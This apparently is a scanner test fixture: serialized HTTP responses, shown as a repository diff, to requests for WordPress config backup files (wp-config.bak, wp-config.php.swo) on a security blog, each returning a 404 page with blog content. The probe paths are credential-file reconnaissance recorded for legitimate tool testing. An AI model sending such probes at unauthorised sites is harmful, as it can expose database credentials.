<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>"
code: 404
connect_time: 3.1e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-config.bak
headers: |
HTTP/1.1 404 Not Found
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:28 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=itg2lgoc4d364pol3v4p1vcshs73ji7d; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Last-Modified: Mon, 09 Jul 2012 08:15:28 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 3.1e-05
pretransfer_time: 2.9e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete: !ruby/object:Proc {}
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-config.bak
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-config.bak
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.766856
status_message:
time: 0.857543

View File

@@ -0,0 +1,310 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 2.7e-05
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>Nothing found for Wp-config Php Swo</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body><script type=\"text/javascript\">\n\
//<![CDATA[\n\
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
//]]>\n\
</script>\n\
<noscript>\n\
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
</noscript>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php.swo/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
